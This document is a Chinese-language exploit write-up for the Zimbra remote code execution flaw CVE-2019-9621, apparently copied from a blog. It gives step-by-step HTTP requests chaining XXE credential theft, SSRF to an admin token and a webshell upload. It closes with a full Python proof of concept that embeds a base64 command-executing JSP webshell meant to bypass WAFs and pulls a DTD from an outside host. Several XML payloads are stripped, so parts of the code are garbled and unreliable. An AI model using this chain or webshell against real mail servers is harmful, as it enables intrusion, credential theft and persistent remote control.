# CVE-2019-9621 Zimbra 远程代码执行漏洞
### 一、漏洞简介
当 Zimbra 存在像任意文件读取、XXE(xml外部实体注入)这种漏洞时,攻击者可以利用此漏洞读取 localconfig.xml配置文件,获取到 zimbra admin ldap password,并通过 7071 admin 端口进行 SOAP AuthRequest 认证,得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后,通过文件上传在服务端执行任意代码,威胁程度极高。当Zimbra服务端打来Memcached缓存服务是,可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用,所以其攻击场景受到限制。
### 二、漏洞影响
ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说:
* Zimbra < 8.7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
* Zimbra < 8.8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
### 三、复现过程
第一步:利用XXE读取配置文件

这里利用了CVE-2019-9670漏洞来读取配置文件,你需要在自己的VPS服务器上放置一个dtd文件,并使该文件能够通过HTTP访问。为了演示,我在GitHub上创建了一个仓库,从GitHub上获取dtd文件。
上图中用红框圈起来的就是zimbra账号的密码,先记下来以后会用到。
dtd文件内容如下:
```bash
“>
“`
POST请求包如下:
“`bash
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: mail.****.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://mail.****.com/zimbra/
Content-Type: application/soap+xml
Content-Length: 436
Connection: close
Cookie: ZM_TEST=true
Upgrade-Insecure-Requests: 1
%dtd;
%all;
]>
“`
第二步:获取低权限token

从上图可以看到已经获取到token,但该token不是管理员权限的token,暂时记下来以后要用。
POST请求包如下:
“`bash
POST /service/soap HTTP/1.1
Host: mail.****.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://mail.****.com/zimbra/
Content-Type: application/soap+xml
Content-Length: 467
Connection: close
Cookie: ZM_TEST=true
Upgrade-Insecure-Requests: 1
“`
第三步、利用SSRF获取admin权限token

将上一步获取到了低权限token添加到cookie中,将xmlns=”urn:zimbraAccount”修改为xmlns=”urn:zimbraAdmin”,在Host字段末尾添加“:7071”,URL中的target要使用https协议。然后发送请求即可获得admin权限的token。
POST请求包如下:
“`bash
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1
Host: mail.****.com:7071
User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://mail.****.com/zimbra/
Content-Type: application/soap+xml
Content-Length: 465
Connection: close
Cookie: ZM_ADMIN_AUTH_TOKEN=0_5221766f264e4dcb78b4f67be5f839b1ed668da3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343733303133353638333b747970653d363a7a696d6272613b7469643d393a3735353034333637323b
Upgrade-Insecure-Requests: 1
“`
第四步、上传webshell

将上一步获取的admin权限token添加到cookie中,然后上传webshell。
Webshell路径为/downloads/k4x6p.jsp,访问该webshell时需要在cookie中添加admin_toke。
你可以利用此webshell在其他无需cookie即可访问的目录里创建一个可用菜刀连接的小马。

poc
https://github.com/ianxtianxt/ZimbraExploit
“`python
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip(“/”)
#upload file name and content
#modify by k8gege
#Connect “shell.jsp” using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = “shell.jsp”
fileContent = r’<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|”);int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print(“|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>‘
print(base_url)
#dtd file url
dtd_url=”https://k8gege.github.io/zimbra.dtd”
“””
“>
“””
xxe_data = r”””
%dtd;
%all;
]>
#XXE stage
headers = {
“Content-Type”:”application/xml”
}
print(“[*] Get User Name/Password By XXE “)
r = requests.post(base_url+”/Autodiscover/Autodiscover.xml”,data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if ‘response schema not available’ not in r.text:
print(“have no xxe”)
exit()
#low_token Stage
import re
pattern_name = re.compile(r”<key name=(\”|")zimbra_user(\”|")>\n.*?<value>(.*?)<\/value>”)
pattern_password = re.compile(r”<key name=(\”|")zimbra_ldap_password(\”|")>\n.*?<value>(.*?)<\/value>”)
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)
auth_body=”””
“””
print(“[*] Get Low Privilege Auth Token”)
r=requests.post(base_url+”/service/soap”,data=auth_body.format(xmlns=”urn:zimbraAccount”,username=username,password=password),verify=False)
pattern_auth_token=re.compile(r”
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers[“Cookie”]=”ZM_ADMIN_AUTH_TOKEN=”+low_priv_token+”;”
headers[“Host”]=”foo:7071″
print(“[*] Get Admin Auth Token By SSRF”)
r = requests.post(base_url+”/service/proxy?target=https://127.0.0.1:7071/service/admin/soap”,data=auth_body.format(xmlns=”urn:zimbraAdmin”,username=username,password=password),headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print(“ADMIN_TOKEN:”+admin_token)
f = {
‘filename1’:(None,”whocare”,None),
‘clientFile’:(filename,fileContent,”text/plain”),
‘requestId’:(None,”12″,None),
}
headers ={
“Cookie”:”ZM_ADMIN_AUTH_TOKEN=”+admin_token+”;”
}
print(“[*] Uploading file”)
r = requests.post(base_url+”/service/extension/clientUploader/upload”,files=f,headers=headers,verify=False)
#print(r.text)
print(“Shell: “+base_url+”/downloads/”+filename)
#print(“Connect \”shell.jsp\” using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)”)
print(“[*] Request Result:”)
s = requests.session()
r = s.get(base_url+”/downloads/”+filename,verify=False,headers=headers)
#print(r.text)
print(“May need cookie:”)
print(headers[‘Cookie’])
“`
参考链接
https://www.cnblogs.com/dgjnszf/p/10793604.html













请登录后查看评论内容